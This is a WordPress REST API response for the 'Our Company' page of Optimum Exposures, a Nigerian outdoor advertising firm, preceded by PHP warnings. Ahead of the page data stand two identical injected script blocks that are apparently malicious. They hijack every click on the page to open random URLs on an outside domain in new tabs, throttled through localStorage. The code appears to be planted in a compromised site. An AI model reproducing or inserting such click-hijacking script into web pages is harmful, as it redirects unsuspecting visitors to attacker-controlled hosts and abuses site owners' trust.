<br />
<b>Warning</b>:  The magic method BrunnCore\CPT\PostTypesRegister::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/post-types/post-types-register.php</b> on line <b>30</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagramApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/brunn-instagram-api.php</b> on line <b>71</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitterApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/brunn-twitter-api.php</b> on line <b>95</b><br />
<br />
<b>Warning</b>:  The magic method Vc_Manager::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php</b> on line <b>203</b><br />
<br />
<b>Warning</b>:  The magic method BrunnSelectNamespace\Modules\Header\Lib\HeaderFactory::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/themes/optimum-exposures/framework/modules/header/lib/header-factory.php</b> on line <b>39</b><br />
<br />
<b>Warning</b>:  The magic method BrunnCore\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagram\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitter\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":5885,"date":"2020-12-16T15:15:35","date_gmt":"2020-12-16T15:15:35","guid":{"rendered":"https:\/\/staging.optimumexposures.com\/?page_id=5885"},"modified":"2020-12-16T15:49:19","modified_gmt":"2020-12-16T15:49:19","slug":"our-company","status":"publish","type":"page","link":"https:\/\/staging.optimumexposures.com\/?page_id=5885","title":{"rendered":"Our Company"},"content":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text css_animation=&#8221;fadeInUp&#8221;]Optimum Exposures Limited is a Member of Troyka Holding \u2013 consisting of a Group of Marketing Communications, OOH Advertising, Real Estate and Security Companies. Embedded in our core is the fore-runner DNA of our parent company, Troyka Holdings.<\/p>\n<p>Our company was incorporated with the Corporate Affairs Commission (CAC) and commenced business operations in 1984 as Klinsite Outdoor Services Limited. Following the need to innovate, the company metamorphosed to Optimum Exposures Limited 8 years later; to reflect the value-addition provided to brands.<\/p>\n<p>For 36+ years, Optimum Exposures has provided innovative platforms for communicating brand messages to target audiences to achieve set objectives and business outcomes.[\/vc_column_text][vc_column_text css_animation=&#8221;fadeInUp&#8221; css=&#8221;.vc_custom_1608133698079{padding-top: 30px !important;}&#8221;]<strong>Our Vision<\/strong><\/p>\n<p>To be Nigeria\u2019s foremost OOH advertising and marketing communications company providing best-in-class and premium exposure to discerning brands.[\/vc_column_text][vc_column_text css_animation=&#8221;fadeInUp&#8221; css=&#8221;.vc_custom_1608133717571{padding-top: 30px !important;}&#8221;]<strong>Our Mission<\/strong><\/p>\n<p>To provide world-class advertising platforms at premium locations in Nigeria using modern technology, while ensuring increased economic, aesthetic and environmental value matched with unprecedented returns to stakeholders.[\/vc_column_text][vc_column_text css_animation=&#8221;fadeInUp&#8221; css=&#8221;.vc_custom_1608133728212{padding-top: 30px !important;}&#8221;]<strong>Core Values<\/strong><\/p>\n<ul>\n<li>Empathy<\/li>\n<li>Collaboration<\/li>\n<li>Innovation<\/li>\n<li>Integrity<\/li>\n<li>Entrepreneurship<\/li>\n<li>Reward<\/li>\n<\/ul>\n<p>[\/vc_column_text][vc_column_text css_animation=&#8221;fadeInUp&#8221; css=&#8221;.vc_custom_1608133740196{padding-top: 30px !important;}&#8221;]<strong>Notable Achievements<\/strong><\/p>\n<p>A combination of our experience and tailored technology-based solutions, coupled with our regional spread across Nigeria, make us the preferred partner of top brands.<\/p>\n<p>Some key recognitions and awards received by Optimum Exposures over the years are:<\/p>\n<ul>\n<li>The Most Innovative Out-of-Home Company Award (Poster Award) -OAAN<\/li>\n<li>World Quality Commitment Award \u2013 Bid<\/li>\n<li>2008 Best Media Partner Out Of Home (Advan)<\/li>\n<li>Best OOH Maintenance Culture Award- (APCON)<\/li>\n<li>African Order of Merit in Aviation OOH Advertising by Institute for Government Research (2011).<\/li>\n<li>West Africa\u2019s World Class Aviation OOH Media Consultants of the Year 2010 \u2013 awarded<\/li>\n<li>by Institute of Direct Marketing of Nigeria.<\/li>\n<li>Best Airport Advertising Company in 2009 \u2013 by Nigeria Aviation Awards.<\/li>\n<li>Merit Award by Women Aviation, Nigeria Chapter.<\/li>\n<\/ul>\n<p>[\/vc_column_text][vc_column_text css_animation=&#8221;fadeInUp&#8221; css=&#8221;.vc_custom_1608133752881{padding-top: 30px !important;}&#8221;]<strong>Membership of Professional Associations<\/strong><\/p>\n<p>We are a corporate member of the Advertising Practitioners Council of Nigeria (APCON), Outdoor Advertising Association of Nigeria (OAAN), Outdoor Advertising Association of America (OAAA) and the World Out-of-Home Advertising Organization (WOOHO) \u2013 formerly Outdoor Advertising Association of Europe (Federation European Publicite Exterieur &#8211; FEPE).[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text css_animation=&#8221;fadeInUp&#8221;]Optimum Exposures Limited is a Member of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1739,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"full-width.php","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Our Company - Optimum Exposures<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.optimumexposures.com\/?page_id=5885\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Our Company - Optimum Exposures\" \/>\n<meta property=\"og:description\" content=\"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text css_animation=&#8221;fadeInUp&#8221;]Optimum Exposures Limited is a Member of [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.optimumexposures.com\/?page_id=5885\" \/>\n<meta property=\"og:site_name\" content=\"Optimum Exposures\" \/>\n<meta property=\"article:modified_time\" content=\"2020-12-16T15:49:19+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\",\"url\":\"https:\/\/staging.optimumexposures.com\/\",\"name\":\"Optimum Exposures\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.optimumexposures.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5885#webpage\",\"url\":\"https:\/\/staging.optimumexposures.com\/?page_id=5885\",\"name\":\"Our Company - Optimum Exposures\",\"isPartOf\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\"},\"datePublished\":\"2020-12-16T15:15:35+00:00\",\"dateModified\":\"2020-12-16T15:49:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5885#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.optimumexposures.com\/?page_id=5885\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5885#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.optimumexposures.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"About Us\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1739\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Our Company\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Our Company - Optimum Exposures","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.optimumexposures.com\/?page_id=5885","og_locale":"en_US","og_type":"article","og_title":"Our Company - Optimum Exposures","og_description":"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text css_animation=&#8221;fadeInUp&#8221;]Optimum Exposures Limited is a Member of [&hellip;]","og_url":"https:\/\/staging.optimumexposures.com\/?page_id=5885","og_site_name":"Optimum Exposures","article_modified_time":"2020-12-16T15:49:19+00:00","twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/staging.optimumexposures.com\/#website","url":"https:\/\/staging.optimumexposures.com\/","name":"Optimum Exposures","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.optimumexposures.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5885#webpage","url":"https:\/\/staging.optimumexposures.com\/?page_id=5885","name":"Our Company - Optimum Exposures","isPartOf":{"@id":"https:\/\/staging.optimumexposures.com\/#website"},"datePublished":"2020-12-16T15:15:35+00:00","dateModified":"2020-12-16T15:49:19+00:00","breadcrumb":{"@id":"https:\/\/staging.optimumexposures.com\/?page_id=5885#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.optimumexposures.com\/?page_id=5885"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5885#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.optimumexposures.com\/"},{"@type":"ListItem","position":2,"name":"About Us","item":"https:\/\/staging.optimumexposures.com\/?page_id=1739"},{"@type":"ListItem","position":3,"name":"Our Company"}]}]}},"_links":{"self":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5885"}],"collection":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5885"}],"version-history":[{"count":10,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5885\/revisions"}],"predecessor-version":[{"id":5896,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5885\/revisions\/5896"}],"up":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/1739"}],"wp:attachment":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}